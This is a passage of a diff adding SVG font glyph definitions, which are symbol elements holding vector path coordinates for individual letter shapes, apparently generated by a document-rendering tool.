+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 1.15625 -12.515625 C 1.550781 -12.609375 1.984375 -12.675781 2.453125 -12.71875 C 2.929688 -12.757812 3.375 -12.78125 3.78125 -12.78125 C 4.25 -12.78125 4.691406 -12.722656 5.109375 -12.609375 C 5.535156 -12.492188 5.90625 -12.300781 6.21875 -12.03125 C 6.53125 -11.757812 6.78125 -11.40625 6.96875 -10.96875 C 7.15625 -10.53125 7.25 -9.976562 7.25 -9.3125 C 7.25 -8.320312 7.039062 -7.523438 6.625 -6.921875 C 6.207031 -6.316406 5.65625 -5.910156 4.96875 -5.703125 L 5.65625 -5.046875 L 8.140625 0 L 6.578125 0 L 3.859375 -5.515625 L 2.515625 -5.78125 L 2.515625 0 L 1.15625 0 Z M 2.515625 -6.6875 L 3.59375 -6.6875 C 4.28125 -6.6875 4.820312 -6.894531 5.21875 -7.3125 C 5.613281 -7.738281 5.8125 -8.382812 5.8125 -9.25 C 5.8125 -9.90625 5.644531 -10.453125 5.3125 -10.890625 C 4.988281 -11.328125 4.5 -11.546875 3.84375 -11.546875 C 3.601562 -11.546875 3.351562 -11.535156 3.09375 -11.515625 C 2.832031 -11.492188 2.640625 -11.46875 2.515625 -11.4375 Z M 2.515625 -6.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 6.75 3.609375 L 5.453125 3.609375 L 5.453125 -0.734375 L 5.375 -0.734375 C 5.1875 -0.429688 4.941406 -0.195312 4.640625 -0.03125 C 4.347656 0.132812 3.96875 0.21875 3.5 0.21875 C 2.550781 0.21875 1.84375 -0.160156 1.375 -0.921875 C 0.90625 -1.691406 0.671875 -2.878906 0.671875 -4.484375 C 0.671875 -6.035156 0.976562 -7.207031 1.59375 -8 C 2.207031 -8.789062 3.097656 -9.1875 4.265625 -9.1875 C 4.765625 -9.1875 5.242188 -9.125 5.703125 -9 C 6.160156 -8.882812 6.507812 -8.765625 6.75 -8.640625 Z M 5.453125 -7.71875 C 5.117188 -7.914062 4.644531 -8.015625 4.03125 -8.015625 C 3.40625 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.6875 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.515625 2.109375 -3.078125 C 2.171875 -2.648438 2.269531 -2.273438 2.40625 -1.953125 C 2.550781 -1.640625 2.734375 -1.394531 2.953125 -1.21875 C 3.171875 -1.039062 3.445312 -0.953125 3.78125 -0.953125 C 4.238281 -0.953125 4.597656 -1.082031 4.859375 -1.34375 C 5.117188 -1.613281 5.316406 -2.003906 5.453125 -2.515625 Z M 5.453125 -7.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
